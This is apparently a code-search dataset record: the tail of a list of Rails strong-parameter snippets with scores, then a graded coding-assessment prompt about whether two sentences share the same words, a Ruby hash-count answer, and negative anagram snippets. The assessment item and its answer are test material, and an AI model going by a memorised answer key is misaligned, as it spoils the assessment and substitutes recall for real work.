"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def valid_params?; end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def filter_parameters; end",
"def filter_parameters; end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def check_params; true; end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def list_params\n params.permit(:name)\n end",
"def check_params\n true\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def additional_permitted_params\n []\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end",
"def allow_params_authentication!; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end",
"def quote_params\n params.permit!\n end",
"def list_params\n params.permit(:list_name)\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def all_params; end",
"def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end",
"def source_params\n params.require(:source).permit(all_allowed_params)\n end",
"def user_params\n end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end",
"def permitted_params\n @wfd_edit_parameters\n end",
"def user_params\r\n end",
"def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def params_permit\n params.permit(:id)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def filter_params\n params.permit(*resource_filter_permitted_params)\n end",
"def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end",
"def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend",
"def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def argument_params\n params.require(:argument).permit(:name)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def parameters\n nil\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end",
"def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end",
"def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end"
] |
[
"0.7121987",
"0.70541996",
"0.69483954",
"0.6902367",
"0.6733912",
"0.6717838",
"0.6687021",
"0.6676254",
"0.66612333",
"0.6555296",
"0.6527056",
"0.6456324",
"0.6450841",
"0.6450127",
"0.6447226",
"0.6434961",
"0.64121825",
"0.64121825",
"0.63913447",
"0.63804525",
"0.63804525",
"0.6373396",
"0.6360051",
"0.6355191",
"0.62856233",
"0.627813",
"0.62451434",
"0.6228103",
"0.6224965",
"0.6222941",
"0.6210244",
"0.62077755",
"0.61762565",
"0.61711127",
"0.6168448",
"0.6160164",
"0.61446255",
"0.6134175",
"0.6120522",
"0.6106709",
"0.60981655",
"0.6076113",
"0.60534036",
"0.60410434",
"0.6034582",
"0.6029977",
"0.6019861",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.60184896",
"0.60157263",
"0.6005857",
"0.6003803",
"0.60012573",
"0.59955895",
"0.5994598",
"0.5993604",
"0.5983824",
"0.5983166",
"0.5977431",
"0.597591",
"0.5968824",
"0.5965953",
"0.59647584",
"0.59647584",
"0.59566855",
"0.59506303",
"0.5950375",
"0.59485626",
"0.59440875",
"0.5930872",
"0.5930206",
"0.5925668",
"0.59235454",
"0.5917905",
"0.59164816",
"0.5913821",
"0.59128743",
"0.5906617",
"0.59053683",
"0.59052664",
"0.5901591",
"0.58987755",
"0.5897456",
"0.58970183",
"0.58942604"
] |
0.0
|
-1
|
The method should return a boolean indicating whether or not the sentences consist of the same exact words, but not necessarily in the same order. Your solution should have a linear O(n) runtime, where n is the combined length of the input strings. Scoring: 8 points maximum 4 points awarded for passing all test cases 4 points awarded for linear runtime This component of the assessment is estimated to take 10 minutes.
|
def savvy_shuffled_sentence(s1,s2)
hash1,hash2 = Hash.new(0),Hash.new(0)
s1.split(' ').each {|word| hash1[word] += 1}
s2.split(' ').each {|word| hash2[word] += 1}
hash1 == hash2
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def step_through_with(s)i\n # It doesn't solve the kata because it returns true even if same chars are met in diffrent part of the word. Like \"ThaT\"\n s.chars.count == s.chars.uniq.count\nend",
"def common_substrings(string1, string2)\n string2.downcase.chars.each do |char|\n return false if string2.count(char) > string1.downcase.count(char)\n end\n true\nend",
"def allwords?\n vowels = 'aeiouy'\n words1 = @input1.downcase.gsub(/[!@#$%^&*()-=_+|;':\",.<>?']/, '').split(\" \")\n words2 = @input2.downcase.gsub(/[!@#$%^&*()-=_+|;':\",.<>?']/, '').split(\" \")\n if\n words1.all? {|str| str.count(vowels) >= 1} && words2.all? {|str| str.count(vowels) >= 1}\n return true\n else\n return \"You need to input actual words!\"\n end\n end",
"def word_overlap?(item)\n first_array = self.clean_description.split.declutter\n second_array = item.clean_description.split.declutter\n\n first_array.percentage_similarity_to(second_array) > 85 ? \"Too much word overlap\" : false\n end",
"def exes_and_ohs(input_string)\n unique_array = input_string.downcase.split('').uniq\n input_array = input_string.downcase.split('')\n if (unique_array.length == 2)\n count_1 = input_array.count(unique_array[0])\n count_2 = input_array.count(unique_array[1])\n if count_1 == count_2\n return true\n else\n return false\n end\n else \n return false\n end\nend",
"def words_the_same?(word_to_test)\n word_to_test.downcase == @word.downcase\n end",
"def string_matching(words)\n result_words = []\n\n words.each_with_index do |possible_substring, index|\n (0..words.size - 1).each do |index_w|\n next if index_w == index || words[index_w].size < possible_substring.size\n \n result_words << possible_substring if words[index_w].index(possible_substring)\n end\n end\n \n result_words.uniq\nend",
"def all_possible_word_combos(input)\n\tnouns = [\"abcd\", \"c\", \"def\", \"h\", \"ij\", \"cde\"]\n\tverbs = [\"bc\", \"fg\", \"g\", \"hij\", \"bcd\"]\n\tarticles = [\"a\", \"ac\", \"e\"]\n\tall = nouns + verbs + articles\n\t\n\ttemp_array_for_combo = []\n\tall_valid_sentences_based_on_input = []\n\n\tfor word in all do \n\t\tif input.include?(word)\n\t\t\ttemp_array_for_combo << word\n\t\tend\n\tend\n\t# how many words can be in sentence?\n\t# we dont have any rules for word count in a sentence, only examples are 3 or 4 word sentences\n\ttemp_array_test_validity = temp_array_for_combo.combination(4).to_a + temp_array_for_combo.combination(3).to_a \n\n\tfor sentence in temp_array_test_validity do \n\t\t# sort the characters \n\t\tcombined_sentence = sentence.join.chars.sort\n\t\tcombined_sentence = combined_sentence.join\n\t\t# and check to match with input\n\t\tif combined_sentence == input\n\t\t\tall_valid_sentences_based_on_input.push(sentence)\n\t\tend\n\tend\n\n\tfor sentence in all_valid_sentences_based_on_input do \n\t\tsentence = sentence.sort! { |a,b| a <=> b }\n\tend\n\treturn all_valid_sentences_based_on_input\nend",
"def anagrams?(a_string, another_string)\n # TODO: implement the obvious method to test if two words are anagrams\n puts a_string_sorted = clean(a_string.downcase.chars.sort.join)\n puts another_string_sorted = clean(another_string.downcase.chars.sort.join)\n a_string_sorted == another_string_sorted\nend",
"def check_anagrams(first_words, second_words)\n first_words.each_with_index do |word, index|\n if word.split('').sort == second_words[index].split('').sort\n puts true\n else\n puts false\n end\n end\nend",
"def third_anagram?(word_1, word_2) #O(nlogn)\n word_1.split(\"\").sort == word_2.split(\"\").sort #.sort is O(n logn), linearithmic\n\n # sorted_word_1 = word_1.split(\"\").sort #could have all been split into diff lines that's why we don't assume it's a nested .split * .sort\n # sorted_word_2 = word_2.split(\"\").sort\n\n # sorted_word_1 == sorted_word_2\nend",
"def valid_sentence(str, dictionary)\n $processing = {}\n final_result = []\n sentences(str, dictionary).each do |a|\n set = a.split(\" \")\n if all_words_valid?(set) && verb_correct?(set) && noun_articles_correct?(set)\n final_result << a\n end\n end\n final_result.sort! #This can be returned without any sort but it added because it looks cool.\n end",
"def solve(words)\n x = 0\n while x < words.max.length\n equal = words.all? do |word|\n word[0..x] == words[0][0..x]\n end\n if equal == false\n return words[0][0...x]\n end\n x += 1\n end\nend",
"def check_answers(answer1, answer2)\n return answer1.downcase.split.join(' ') == answer2.downcase.split.join(' ')\n end",
"def mutation?(string_1, string_2)\n \n string_2.each_char do |char|\n if string_1.count(char) < string_2.count(char)\n return false\n break\n else\n return true\n break\n end \n end \nend",
"def scramble(str1, str2)\n str2.chars.uniq.each do |char|\n if str1.include?(char)\n return false if str2.count(char) > str1.count(char)\n else \n return false\n end\n end\n\n true\nend",
"def one_away?(string)\n return true if self == string\n if (self.length - string.length).abs > 1\n return false\n elsif (self.length - string.length).abs == 0\n string_one = self.split(\"\")\n string_two = string.split(\"\")\n counter = 0\n\n string_one.zip(string_two).each do |i, j|\n if !(i==j)\n counter +=1\n end\n end\n counter == 1 ? true : false\n else\n raise NotImplementedError\n end\n end",
"def anagrams_maybe_better(string1, string2)\n return true if string1.chars.sort == string2.chars.sort\n false\nend",
"def match?(wordA, wordB)\n wordA == wordB.each_char.sort.join('') \nend",
"def scramble(st1, st2)\n st1_arr = st1.chars\n st2_arr = st2.chars\n st2_arr.all? { |char| st1_arr.count(char) >= st2.count(char) }\nend",
"def match(words)\n words.select {|word| word.split(\"\").sort == @word.split(\"\").sort}\n end",
"def anagrams?(str1, str2)\n make_tally(str1) == make_tally(str2)\nend",
"def ordered_word?(string)\n string.split('') == string.split('').sort ? true : false\nend",
"def one_off_words(str,word_list)\n result = []\n better_list = word_list.select{|word| word.size == str.size}\n better_list.each do |word|\n i = 0\n count = 0\n while i < word.size\n count += 1 if word[i] == str[i]\n i += 1\n end\n result << word if word.size - count == 1\n end\n result\nend",
"def all_uniq?(words)\n words.length == words.uniq.length\nend",
"def antigrams?\n chars1 = @input1.downcase.gsub(/[!@#$%^&*()-=_+|;':\",.<>?']/, '').split(\"\").sort\n chars2 = @input2.downcase.gsub(/[!@#$%^&*()-=_+|;':\",.<>?']/, '').split(\"\").sort\n if\n chars1.any? {|chars1| chars2.include?(chars1)}\n return false\n else\n return true\n end\n end",
"def part2_is_valid(line)\n words = line.split(\" \")\n set = Set.new\n \n words.each do |word|\n # create all the permutations\n word_permutations = word.chars.to_a.permutation.map &:join\n \n # here we can remove duplicate. For example if the word is \"aba\" -> aba, aab, baa, aba, aab\n # We don't need the last 2.\n word_permutations = word_permutations.uniq\n \n word_permutations.each do |perm|\n return false if set.add?(perm) == nil\n end\n end\n \n return true\nend",
"def anagram_3?(word1, word2)\n return false if word1.length != word2.length\n arr1, arr2 = word1.split(\"\").sort, word2.split(\"\").sort\n (0...word1.length).all? { |idx| arr1[idx] == arr2[idx] }\nend",
"def english?(text)\n num_english = 0\n text_words = text.split(\" \")\n text_words.each do |text_word|\n WORDS_BY_FREQUENCY.each do |dict_word|\n if text_word == dict_word.upcase\n num_english += 1\n break\n end\n end\n end\n return num_english.to_f / text_words.length > 0.75\nend",
"def third_anagrams?(str1,str2)\n str1.split(\"\").sort.join(\"\") == str2.split(\"\").sort.join(\"\")\nend",
"def mutation?(base_word, mutation)\n\n word1_array = base_word.downcase.split(\"\")\n word2_array = mutation.downcase.split(\"\")\n\n word2_array.each do |letter|\n if word1_array.include?(letter)\n @result = true\n else\n @result = false\n end \n end\n @result\nend",
"def is_common?(word)\n return true if $common_words.include? word.downcase\n return false\n end",
"def StringScramble(str1,str2)\n\n a_str1 = str1.split(\"\")\n a_str2 = str2.split(\"\")\n count = 0 \n \n a_str2.each do |letter|\n if a_str1.include?(letter)\n count += 1\n end\n end\n \n return count == a_str2.length ? true : false\n \nend",
"def anagrams?(word1, word2)\n if word1.length != word2.length\n return false\n end\n word1.each_char do |ele|\n if !word2.include?(ele)\n return false\n end\n end\n return true\nend",
"def third_anagram?(word, goal)\n word = word.split('') # O(n)\n goal = goal.split('') # O(n)\n # O(n^2) + O(n^2) || O(n log(n)) + O(n log(n))\n word.sort == goal.sort\nend",
"def twoStrings(s1, s2)\n freq = Hash.new\n\n # 1) store characters frequency in first word\n for i in 0...(s1.length)\n freq[s1[i]] = 1\n end\n\n # 2) check if the second word has the common characters\n for i in 0...(s2.length)\n return \"YES\" unless freq[s2[i]].nil?\n end\n\n return \"NO\"\nend",
"def valid_sentence?(sentence_array)\n\t# input is expected to be array\n\t# method tests rules. Does the array have \n\t\t# 1 verb or more\n\t\t# 1 noun or 2 articles minimum\n\t\t# are all the words in the dictionary\n\tnouns = [\"abcd\", \"c\", \"def\", \"h\", \"ij\", \"cde\"]\n\tverbs = [\"bc\", \"fg\", \"g\", \"hij\", \"bcd\"]\n\tarticles = [\"a\", \"ac\", \"e\"]\n\tsentence_counter = 0 \n\n\tif sentence_array.class == Array\n\t\t# continue\n\t\tfor sentence in sentence_array do \n\n\t\t\t# are all the words valid in the dictionary?\t\n\t\t\tall = nouns + verbs + articles\n\t\t\tfor word in sentence do \n\t\t\t\tif all.include?(word)\n\t\t\t\t\t# p \"this word is valid\"\n\t\t\t\telse\n\t\t\t\t\tp \"#{word} is not a valid word in the dictionary\"\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\tend\n\t\t\t# p \"all words in sentence ar valid words..\"\n\t\t\t\n\t\t\t# does it have a verb?\n\t\t\tv = (sentence & verbs)\n\t\t\tif v.count > 0\n\t\t\t\t# p \"sentence at index #{sentence_counter} has at least 1 verb #{v}\"\n\n\t\t\t\t# does it have 1 noun? or if not, does it have 2 articles?\n\t\t\t\tn = (sentence & nouns)\n\n\t\t\t\tif n.count > 0\n\t\t\t\t\t# p \"sentence at index #{sentence_counter} has a noun #{n}\"\n\n\t\t\t\telse\n\t\t\t\t\t# 2 articles?\n\t\t\t\t\ta = (sentence & articles)\n\t\t\t\t\tif a.count >= 2\n\t\t\t\t\t\t# p \"sentence at index #{sentence_counter} has no noun, but 2 articles #{a}\"\n\t\t\t\t\telse\n\t\t\t\t\t\treturn false\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tp \"false sentence, does not contain a verb #{sentence}\"\n\t\t\t\treturn false\n\t\t\t\t# this sentence does not have a verb\n\t\t\tend\n\t\t\tsentence_counter += 1\n\t\tend\n\t\tputs \"\"\n\t\tputs \"every sentence is valid! \\n #{sentence_array}\"\n\t\treturn true\n\telse\n\t\tp \"the input is not valid, needs to be an array\"\n\t\treturn false\n\t\t# remove this from the array\n\t\t# will have to trick the system\n\tend\n\t\nend",
"def array_test\n @words.each_with_index do |word, i|\n # binding.pry\n seq = \"#{word} #{@words[i+1]} #{@words[i+2]}\"\n if @three_word_sequences.include? seq\n return true\n end\n end\n return false\n end",
"def third_anagram?(word1, word2)\n\n p \"Running third_anagram...\" \n\n start = Time.now\n\n var = word1.split(\"\").sort == word2.split(\"\").sort\n\n puts \"Took #{Time.now - start} seconds - Result: #{var}\"\n\n # return var\nend",
"def is_correct_answer?(correct, answer)\n correct = correct.gsub(/^(the|a|an) /i, \"\")\n .gsub(/^(the|a|an) /i, \"\")\n .gsub(\"one\", \"1\")\n .gsub(\"two\", \"2\")\n .gsub(\"three\", \"3\")\n .gsub(\"four\", \"4\")\n .gsub(\"five\", \"5\")\n .gsub(\"six\", \"6\")\n .gsub(\"seven\", \"7\")\n .gsub(\"eight\", \"8\")\n .gsub(\"nine\", \"9\")\n .gsub(\"ten\", \"10\")\n .strip\n .downcase\n\n correct_no_parenthetical = correct.gsub(/\\(.*\\)/, \"\").gsub(/[^\\w\\s]/i, \"\").strip\n correct_sanitized = correct.gsub(/[^\\w\\s]/i, \"\")\n\n answer = answer\n .gsub(/\\s+( |&)\\s+/i, \" and \")\n .gsub(/[^\\w\\s]/i, \"\")\n .gsub(/^(what|whats|where|wheres|who|whos|when|whens) /i, \"\")\n .gsub(/^(is|are|was|were) /, \"\")\n .gsub(/^(the|a|an) /i, \"\")\n .gsub(/\\?+$/, \"\")\n .gsub(\"one\", \"1\")\n .gsub(\"two\", \"2\")\n .gsub(\"three\", \"3\")\n .gsub(\"four\", \"4\")\n .gsub(\"five\", \"5\")\n .gsub(\"six\", \"6\")\n .gsub(\"seven\", \"7\")\n .gsub(\"eight\", \"8\")\n .gsub(\"nine\", \"9\")\n .gsub(\"ten\", \"10\")\n .strip\n .downcase\n [correct_sanitized, correct_no_parenthetical].each do |solution|\n white = Text::WhiteSimilarity.new\n similarity = white.similarity(solution, answer)\n if solution == answer || similarity >= ENV[\"SIMILARITY_THRESHOLD\"].to_f\n return true\n end\n end\n false\nend",
"def split_in_similar_groups(words)\n words.select! { |word| word.size > POSTFIX_LENGTH }\n words.sort! { |a, b| a.size <=> b.size }\n\n split_by_condition(words, lambda { |a, b| a.size == b.size }).flat_map do |same_word_length_group|\n split_by_condition(same_word_length_group.sort,\n lambda { |a, b| same_part(a) == same_part(b) })\n end\n end",
"def palindrome_match?(str1, str2)\n # split the word in half to check if even\n # check if even check first half against second half reversed\n # return true if match \n num_check = str1.length/2\n if num_check.even?\n ary_1 = str1.chars.each_slice(str1.length/2)\n ary_2 = str2.chars.each_slice(str2.length/2)\n return true if str1[0] == str2[0]\n end \n false\nend",
"def anagrams?(word1, word2)\n return char_count(word1) == char_count(word2)\nend",
"def anagrams?(word1, word2)\n return char_count(word1) == char_count(word2)\nend",
"def similar?(a, b) # rubocop:disable Naming/UncommunicativeMethodParamName\n Levenshtein.normalized_distance(a.downcase, b.downcase) < 0.3 # chosen quasi-randomly ;)\n end",
"def compare_strings(input_text, dictionary_word)\n for i in 0..input_text.length - 1 do\n if input_text.length - i >= dictionary_word.length\n j = i + dictionary_word.length - 1\n arr = input_text.slice(i..j)\n if arr.eql?(dictionary_word)\n @output_hash = update_output_hash(arr, @output_hash)\n end\n end\n end\nend",
"def anagrams?(word1, word2)\r\n return charCount(word1) == charCount(word2)\r\nend",
"def anagrams?(word1, word2)\n return char_count(word1) == char_count(word2)\nend",
"def anagrams?(word1, word2)\n return char_count(word1) == char_count(word2)\nend",
"def anagrams?(word1, word2)\n return char_count(word1) == char_count(word2)\nend",
"def fuzzy_match(string1, string2)\n\tshared_bigram_count = 0.0\n\tdice_coefficient = 0.0\n\tstring1_bigrams = []\n\tstring2_bigrams = []\n\t# Check length of the strings, if they aren't 2 or more we can't check using bigrams and should exact match.\n\tif string1.length && string2.length < 2\n\t\t# As these are short string we can exact match them if they exact match then return 1 (casecmp = 0 for exact match)\n\t\tstring1.casecmp(string2) == 0 ? dice_coefficient = 1.0 : dice_coefficient = 0.0\n\t\treturn dice_coefficient\n\telse\n\t\t# Get each bigram (2d ngrams) for each string so \"night\" => ['ni', 'ig', 'gh', 'ht']\n\t\tstring1.chars.each_cons(2) { |pairs| string1_bigrams << pairs.join }\n\t\tstring2.chars.each_cons(2) { |pairs| string2_bigrams << pairs.join }\n\t\t# Count the shared bigrams and return the Sorensen-Dice coefficient\n\t\tstring2_bigrams.each { |bg2| string1_bigrams.each { |bg1| shared_bigram_count += 1.0 if bg2 == bg1 } }\n\t\treturn dice_coefficient = (2.0 * shared_bigram_count) / (string1_bigrams.length + string2_bigrams.length)\n\tend\nend",
"def string_permutation_checker(str1, str2)\n if str1.length == str2.length\n return true if str1.split(\"\").sort == str2.split(\"\").sort\n end\n false\nend",
"def phase_one?(str1,str2)\n dictionary = str1.chars.permutation.to_a\n dictionary.include?(str2.chars)\nend",
"def string_scramble(str1, str2)\r\n str2.chars.all? { |x| str1.count(x) >= str2.count(x) }\r\nend",
"def all_in_one_away(string1, string2)\n return false if (string1.length - string2.length).abs > 1\n\n s1 = string1.length < string2.length ? string1 : string2\n s2 = string1.length < string2.length ? string2 : string1\n\n index1 = 0\n index2 = 0\n found_difference = false\n\n while index1 < s1.length and index2 < s2.length\n if s1[index1] != s2[index2]\n return false if found_difference\n found_difference = true\n\n if s1.length == s2.length\n index1 += 1\n end\n else\n index1 += 1\n end\n index2 += 1\n end\n\n true\nend",
"def part1_is_valid(line)\n words = line.split(\" \")\n return words.uniq.length == words.length\nend",
"def third_anagram?(word1, word2)\n split1= word1.chars.sort\n split2 = word2.chars.sort\n split1 == split2\nend",
"def third_anagram?(word_1, word_2)\n word_1.chars.sort == word_2.chars.sort\nend",
"def contains_anagrams?\n @phrase.split().group_by{ |e| e.chars.sort }.select{ |k, v| v.size > 1 }.any?\n end",
"def fourth_anagram?(word1, word2)\n letter_count = Hash.new { |hash, key| hash[key] = [] }\n\n split1= word1.chars\n split2 = word2.chars\n\n split1.each { |el| letter_count[el] << el }\n split2.each do |el2|\n if letter_count[el2].length > 0\n letter_count[el2].pop\n else\n return false\n end\n end\n\n return false if letter_count.any? { |key, value| value.count > 0 }\n true\n\nend",
"def find_potential_matches\n comp_words.each_with_object([]) do |comp_word, collection|\n next if comp_word == word\n\n tokenized_comp_word = tokenize_string(comp_word)\n common_token_count = (tokenized_word & tokenized_comp_word).count\n similarity = (2 * common_token_count) / (word.length + comp_word.length).to_f\n collection << comp_word if similarity > PRECISION\n end\n end",
"def anagrams?(word1, word2)\n\treturn char_count(word1) == char_count(word2)\n \nend",
"def match(array_possible_anagrams)\n matching_words=[]\n word_broken=self.word.split(\"\").sort\n array_possible_anagrams.each do |possible_match|\n #possible_match=possible.word\n possible_match_broken=possible_match.split(\"\").sort\n if possible_match_broken == word_broken\n matching_words << possible_match\n else\n end #end of if\n end #end of do\n matching_words\n end",
"def one_away?(str1, str2)\n if (str1.length - str2.length).between?(0,1)\n str1_index = 0\n str2_index = 0\n errors = 0\n\n count_errors = lambda do |str1, str2|\n if str1[str1_index] == str2[str2_index]\n str1_index += 1\n str2_index += 1\n else\n if errors.zero?\n errors += 1\n else\n return false\n end\n\n if str1.length > str2.length\n str1_index += 1\n elsif str2.length > str1.length\n str2_index += 1\n else\n str1_index += 1\n str2_index += 1\n end\n end\n end\n\n [str1.length, str2.length].max.times do |k|\n return false if !count_errors.call(str1, str2)\n end\n else\n false\n end\n\n return true\nend",
"def test_compare_string_overlap_defs\n v1 = Vertex.new(\"speech\", 2, 1, 0, 0, 1, \"NN\")\n v2 = Vertex.new(\"delivering\", 2, 1, 0, 0, 1, \"VB\")\n assert_equal(1, instance.compare_strings(v1, v2, speller))#no POS is considered for hypernyms and hyponyms\n end",
"def duplicate_answer_characters\r\n questions = question_texts_presented\r\n duplicates = false\r\n pattern = /(?<pos1>\\d\\w\\w) & (?<pos2>\\d\\w\\w)/\r\n questions.each do |question_text|\r\n if (pattern =~ question_text)\r\n if ($~[:pos1] == $~[:pos2])\r\n duplicates = true\r\n end\r\n end\r\n end\r\n return duplicates\r\n end",
"def third_anagram?(word1, word2)\n a, b = word1.split(''), word2.split('')\n\n a.sort == b.sort\nend",
"def anagrams?(word1, word2)\n\tarr1 = word1.split(\"\")\n \tarr2 = word2.split(\"\")\n\n count = Hash.new(0)\n \tcount2 = Hash.new(0)\n\n \tarr1.each {|word| count[word] += 1}\n \tarr2.each {|word| count2[word] += 1}\n\n if count == count2\n return true\n else\n return false\n end\nend",
"def is_one_away_same_length(str1, str2)\n result = nil\n change_count = 0\n\n str1.split('').each_with_index do |chr, idx|\n change_count += 1 if str1[idx] != str2[idx]\n return false if change_count > 1\n end\n\n true\nend",
